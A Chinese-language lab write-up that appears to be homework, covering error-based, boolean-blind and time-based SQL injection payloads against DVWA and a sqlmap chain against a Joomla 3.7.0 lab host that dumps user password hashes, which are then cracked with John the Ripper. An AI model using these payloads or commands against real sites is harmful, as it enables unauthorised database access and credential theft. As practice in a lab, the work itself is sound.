一、DVWA的SQL注入
报错注入:
利用数据库的报错信息进行 SQL 注入,前提是数据库错误信息能够显示在网页中。
Group by 重复键冲突
?id=32 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=32 and (select 1 from (select count(*),concat(0x5e, (select table_name from
information_schema.tables where table_schema=database() limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
改变偏移量获取所有表名
Extractvalue()
?id=32 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=32 and extractvalue(1,concat(0x5e,(select version()),0x5e))
Updatexml()
?id=2 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=2 and updatexml(1,concat(0x5e,(select substr(password,1,16) from
cms_users),0x5e),1)?
id=2 and updatexml(1,concat(0x5e,(select substr(password,17,32) from
cms_users),0x5e),1)
分开写原因:显示不全
布尔盲注
页面得有布尔类型状态。比如下图
获取数据库名字的长度
?id=3' and length(database())<5 --+
?id=3' and length(database())<3 --+
?id=3' and length(database())=4 --+
按照位置猜测:方法和上面一样
?id=3’ and ascii(substr(database(),1,1))=100 --+
?id=3’ and ascii(substr(database(),2,1))=118 --+
?id=3’ and ascii(substr(database(),3,1))=119 --+
?id=3’ and ascii(substr(database(),4,1))=97 --+
100-118-119-97
d------v----w—a
所以库名是dvwa
延时注入
当没有报错信息,没有回显,没有布尔类型状态时,我们可以用延时注入,最后的才是绝招
用法:If(表达式,sleep(5),1)
Cookie: id=1' and if((ascii(substr(database(),2,1))=118), sleep(5),1) --+; security=high; PHPSESSID=2bupe0b0v2l6dkp1vvamnjeve4
Cookie: id=1' and if((ascii(substr(database(),4,1))=97), sleep(5),1) --+; security=high; PHPSESSID=2bupe0b0v2l6dkp1vvamnjeve4
和上边的思路一样通过比较ascii值来猜测数据库库名、表名、字段名······
库名是dvwa
二、用SQL注入从网站获取管理员账密并登陆后台
上次作业进入了登录页面,发现没什么可利用的东西,再看了一下nmap全面扫描发现了他的框架是joomla,
从网上搜到可以用joomla网站扫描工具
Joomscan,然后开扫:joomscan --url 192.168.48.136
扫描结果很简洁,版本、后台管理路径,知道后台管理路径后访问一下,看能不能进入192.168.48.136/administrator
成功进入;
从网上找到joomla 3.7.0对应的漏洞的查询命令是:searchsploit joomla 3.7.0 找到一个sql注入的漏洞,然后cat查看,找到用法
直接复制用法,完了改ip查到数据库joomladb,然后使用sqlmap获取库名,表名,字段名,最后获取账密,中间有个坑,在获取字段时都要选y而不是只按回车。
sqlmap命令:
sqlmap -u "http://192.168.48.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.48.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables
sqlmap -u "http://192.168.48.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns
sqlmap -u "http://192.168.48.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C "name,password" --dump
最后密码是加密的,从网上搜索说是要用john爆破:先建立一个文档,然后john这个文档,密码就出来了。
完了之后登录网站
成功登录